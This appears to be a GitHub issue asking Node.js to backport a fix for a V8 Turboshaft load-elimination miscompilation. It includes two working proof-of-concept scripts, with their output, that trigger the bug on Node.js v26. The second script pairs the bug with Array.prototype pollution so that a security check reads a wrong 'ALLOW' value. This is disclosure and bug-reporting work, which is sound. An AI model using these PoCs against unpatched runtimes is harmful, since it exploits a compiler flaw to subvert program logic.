Skip to content

V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26) #66083

Description

@thawkhant

Summary

V8 bug 554421904"Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.

An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.

This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.


Environment

Node.js v26.3.0 (current stable)
V8 14.6.202.34-node.20
Platform macOS arm64 (compiler-level bug — platform independent)
Reproduced 5/5 fresh processes
Fixed in Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26

Steps to Reproduce

node --allow-natives-syntax v8-lle-poc.js

Actual output (wrong) on Node.js v26.3.0:

Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1  | expected: 1.1  | OK
staleArray[7]: undefined | expected: 1.1  | WRONG!
target.length: 0    | expected: 0    | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
  V8: 14.6.202.34-node.20 | Node: v26.3.0

Expected output (patched build):

staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0   | expected: 0   | OK
RESULT: NOT TRIGGERED on this build

PoC #1 — Correctness (v8-lle-poc.js)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';

function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);
  return { target, staleArray };
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);

const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));

const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');

if (a0 === 1.1 && a7 === 1.1) {
  console.log('RESULT: NOT TRIGGERED on this build');
} else {
  console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
  console.log('  V8:', process.versions.v8, '| Node:', process.version);
}

PoC #2 — Escalation (v8-lle-escalation.js)

'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);      // DENY write — LLE target
  return staleArray[7];           // own property if written, else prototype
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);

Array.prototype[7] = 'ALLOW';   // attacker-controlled prototype slot

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0);   // payload 0 = DENY

console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];

Confirmed output (Node.js v26.3.0):

status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!

Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.


Root Cause

  • boundCarrier = carrier.bind(null, ...Array(32765).fill(0)) — 32,765 bound args + 2 call args = 32,767 (kMaxArguments)
  • Turboshaft LLE marks the BoundFunction invocation as !can_write() because it only allocates new memory for argument marshalling
  • Inside carrier, rest[32766] is staleArray — the call created an alias to the input, and set0 writes through it
  • LLE does not invalidate staleArray's state, so set7(staleArray, payload) is eliminated
  • Result: staleArray[7] stays undefined

Upstream commit message (b44239fe) confirms:

"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."


Suggested Fix

Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904

References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions